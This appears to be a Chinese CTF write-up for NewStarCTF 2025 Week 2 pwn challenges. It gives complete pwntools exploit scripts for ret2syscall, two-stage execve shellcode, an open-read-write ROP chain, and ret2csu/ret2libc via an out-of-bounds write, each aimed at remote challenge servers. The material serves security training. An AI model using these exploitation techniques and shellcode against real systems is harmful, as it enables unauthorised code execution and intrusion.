NewStarCTF2025-Week2-Pwn

目录

1、Syscall

2、刻在栈里的秘密

3、input_small_function

[4、no shell](#4、no shell)

5、calc_beta


1、Syscall

程序是静态链接的,就是打32位的ret2syscall

没有/bin/sh,我们系统调用read写入,然后再系统调用execve

Exp:

python 复制代码
from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')

elf = ELF('./pwn')

io = remote('8.147.134.121',20659)

#io=process('./pwn')

offset = 22

pop_eax = 0x080b438a

pop_ebx = 0x08049022

pop_ecx = 0x0804985a

pop_edx = 0x0804985c

int_0x80 = 0x08073a00

bss_addr = elf.bss()

read_addr = elf.symbols['read']

payload = cyclic(offset)+p32(pop_eax)+p32(0x3)+p32(pop_edx)+p32(0x20)+p32(pop_ecx)+p32(bss_addr)+p32(pop_ebx)+p32(0)+p32(int_0x80)+p32(pop_eax)+p32(0xb)+p32(pop_edx)+p32(0)+p32(pop_ecx)+p32(0)+p32(pop_ebx)+p32(bss_addr)+p32(int_0x80)

io.sendlineafter("pwn it guys!\n",payload)

io.sendline('/bin/sh\x00')

io.interactive()

2、刻在栈里的秘密

利用FSB泄露栈上的内容

3、input_small_function

输入内容会被当做函数执行

Shellcode长度受限,我们二次读入即可

Exp:

python 复制代码
from pwn import *

context(arch='amd64', os='linux', log_level='debug')



HOST = '47.94.87.199'

PORT = 22583



io = remote(HOST, PORT)



# stage1: small read-then-jmp stub (<= 20 bytes)

stage1 = asm("""

    xor rax, rax

    xor rdi, rdi

    mov esi, 0x00114514

    mov edx, 0x100

    syscall

    jmp rsi

""")

assert len(stage1) <= 0x14

print("stage1 len:", len(stage1))



# stage2: full execve("/bin/sh", ["/bin/sh", NULL], NULL)

stage2 = asm("""

    xor rax, rax

    movabs rbx, 0x0068732f6e69622f   /* "/bin/sh\x00" */

    push rbx

    mov rdi, rsp

    xor rsi, rsi

    push rsi

    push rdi

    mov rsi, rsp

    xor rdx, rdx

    mov al, 59

    syscall

""")

print("stage2 len:", len(stage2))



io.recvuntil(b"please input a small function (also after compile)\n")



io.send(stage1) 

sleep(0.05)

io.send(stage2)

io.interactive()

4、no shell

禁用了 execve

存在栈溢出,打orw

注意到一个比较奇怪的gadget,会将返回值复制到rdi

说几个需要注意的点吧,一个是新开的flag文件fd好像不是3

在本地直接给3可以打通,远程有点问题,因此借助上面提到的gadget

其次,文件名叫flag,不要被伪代码里的flag.txt误导了

Exp:

python 复制代码
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

elf = ELF('./pwn')

io = remote('47.94.87.199',30724)

io.sendlineafter('Do you want to say something?','y')

io.sendlineafter('leave or capture the flag?','2')

io.sendlineafter('your choice:','2')

io.sendlineafter('your choice:','1')

offset = 0x20 + 8

bss_addr = elf.bss()

pop_rdi = 0x4013f3

pop_rsi = 0x4013f5

pop_rdx = 0x4013f7

mov_rdi_rax_ret = 0x4013f9

open_plt  = elf.plt['open']

read_plt  = elf.plt['read']

write_plt = elf.plt['write']

payload = b'A' * offset

payload += p64(pop_rdi) + p64(0)

payload += p64(pop_rsi) + p64(bss_addr)

payload += p64(pop_rdx) + p64(0x20)

payload += p64(read_plt)

payload += p64(pop_rdi) + p64(bss_addr)

payload += p64(pop_rsi) + p64(0)

payload += p64(open_plt)

payload += p64(mov_rdi_rax_ret)

payload += p64(pop_rsi) + p64(bss_addr)

payload += p64(pop_rdx) + p64(0x50)

payload += p64(read_plt)

payload += p64(pop_rdi) + p64(1)

payload += p64(pop_rsi) + p64(bss_addr)

payload += p64(pop_rdx) + p64(0x50)

payload += p64(write_plt)

io.sendlineafter('say something:', payload)

io.send(b"flag\x00")

io.interactive()

5、calc_beta

edit_numbers函数内存在越界写

当v3=0时,result = a1 -- 8

这个位置正好是edit_numbers函数的返回地址

因为gadget里面控制不了rdx,考虑打ret2csu

这里call的是r12,r13、r14、r15对应rdi、rsi、rdx

Exp:

python 复制代码
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')

#io = process('./calc')

io = remote('8.147.132.32',16814)

elf = ELF('./calc')

#gdb.attach(io)

#pause()

write_plt = elf.plt['write']

write_got = elf.got['write']

read_plt = elf.plt['read']

main_addr = 0x4010B4

pop_rdi = 0x401253

ret_addr = 0x4006b6

csu1 = 0x40124A

csu2 = 0x401230

def edit(idx,num):

    io.sendlineafter('>','2')

    io.sendlineafter('>',str(idx))

    io.sendlineafter('>',str(num))

edit(1,0) #rbx=0

edit(2,1) #rbp=1

edit(3,write_got) #r12

edit(4,1) #r13=rdi

edit(5,write_got) #r14=rsi

edit(6,8) #r15=rdx

edit(7,csu2)

edit(8,1) # pop padding

edit(9,1)

edit(10,1)

edit(11,1)

edit(12,1)

edit(13,1)

edit(14,1)

edit(15,main_addr)

edit(0,csu1)

write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

print(hex(write_addr))

libc = ELF('./libc.so.6')

libc_base = write_addr - libc.symbols['write']

system_addr = libc_base + libc.symbols['system']

bin_sh_addr = libc_base + next(libc.search('/bin/sh'))

edit(1,bin_sh_addr)

edit(2,ret_addr)

edit(3,system_addr)

edit(0,pop_rdi)

io.interactive()

其实我们还是可以控制rdx

注意到getnum函数内的read默认读取字节为0x90

完全够用了

Leak libc后返回到main函数就可以再次利用那个越界写的漏洞

Exp2:直接打ret2libc

python 复制代码
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')

#io = process('./pwn')

io = remote('8.147.132.32',16814)

elf = ELF('./pwn')

io.sendlineafter('>','2')

io.sendlineafter('>','0')

io.sendlineafter('>',str(0x40092a))

#gdb.attach(io)

#pause()

write_plt = elf.plt['write']

write_got = elf.got['write']

read_plt = elf.plt['read']

main_addr = 0x4010B4

pop_rdi = 0x401253

pop_rsi_r15 = 0x401251

ret_addr = 0x4006b6

bss_addr = elf.bss()

payload = p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(ret_addr) + p64(main_addr)

io.sendline(payload)

write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

print(hex(write_addr))

libc = ELF('./libc.so.6')

libc_base = write_addr - libc.symbols['write']

system_addr = libc_base + libc.symbols['system']

bin_sh_addr = libc_base + next(libc.search('/bin/sh'))

io.sendlineafter('>','2')

io.sendlineafter('>','0')

io.sendlineafter('>',str(0x40092a))

payload = p64(pop_rdi) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)

io.sendline(payload)

io.interactive()
相关推荐
丁浩6663 小时前
Python机器学习---2.算法:逻辑回归
python·算法·机器学习
伏小白白白4 小时前
【论文精度-2】求解车辆路径问题的神经组合优化算法:综合展望(Yubin Xiao,2025)
人工智能·算法·机器学习
无敌最俊朗@4 小时前
数组-力扣hot56-合并区间
数据结构·算法·leetcode
忧郁的橙子.4 小时前
十六、kubernetes 1.29 之 集群安全机制
安全·容器·kubernetes
囚生CY5 小时前
【速写】优化的深度与广度(Adam & Moun)
人工智能·python·算法
码农多耕地呗5 小时前
力扣94.二叉树的中序遍历(递归and迭代法)(java)
数据结构·算法·leetcode
懒羊羊不懒@5 小时前
Java基础语法—最小单位、及注释
java·c语言·开发语言·数据结构·学习·算法
白云千载尽6 小时前
leetcode 912.排序数组
算法·leetcode·职场和发展
哆啦刘小洋6 小时前
Tips:预封装约束的状态定义
算法
代码充电宝6 小时前
LeetCode 算法题【简单】290. 单词规律
java·算法·leetcode·职场和发展·哈希表